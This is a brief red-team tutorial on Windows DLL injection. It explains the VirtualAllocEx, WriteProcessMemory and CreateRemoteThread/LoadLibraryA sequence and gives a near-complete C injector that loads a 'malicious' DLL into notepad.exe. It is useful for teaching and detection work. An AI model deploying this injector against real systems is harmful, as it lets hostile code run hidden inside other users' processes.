DLL injection is a technique used for running code within the address space of another process by forcing it to load a dynamic-link library.
It is similar concept to payload injection, but instead to inject the shellcode we are going to inject the dll module on the disk. The dll should be stored on the filesystem, the dropper can implment a download from a server or simply write it to disk manually.
In this technique we are going to create a empty buffer on the target proccess with VirtualAllocEx
but instead of allocate the payload it will allocate the path of our dll with WriteProcessMemory
. The reason to store the dll on a disk is because the process needs to use the system loader to initialize it properly.
With LoadLibraryA
we can load the library on the remote process. To do that we just need to create a remote thread in the target process which calls LoadLibraryA
with our dllpath as an argument.
If kernel32.dll
is loaded on the loader we can use GetProcAddress
to get LoadLibraryA
address.
int main(int argc, char *argv[]) {
HANDLE pHandle;
PVOID remBuf;
PTHREAD_START_ROUTINE pLoadLibrary = NULL;
char dllname[] = "C:\\Tools\\rtnotes\\rtnotes.dll";
char target[] = "notepad.exe";
int pid = 0;
pid = FindProcess(target);
if ( pid == 0) {
printf("Target NOT FOUND! Exiting.\n");
return -1;
}
printf("Target PID: [ %d ]\nInjecting...", pid);
pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress( GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)(pid));
if (pHandle != NULL) {
remBuf = VirtualAllocEx(pHandle, NULL, sizeof(dllname), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(pHandle, remBuf, (LPVOID) dllname, sizeof(dllname), NULL);
CreateRemoteThread(pHandle, NULL, 0, pLoadLibrary, remBuf, 0, NULL);
printf("done!\nremBuf addr = %p\n", remBuf);
CloseHandle(pHandle);
}
else {
printf("OpenProcess failed! Exiting.\n");
return -1;
}
return 0
}
Here we can see how the payload is executed.
The rtnotes.dll
malicious dll was successfully loaded on the remote process notepad.exe
.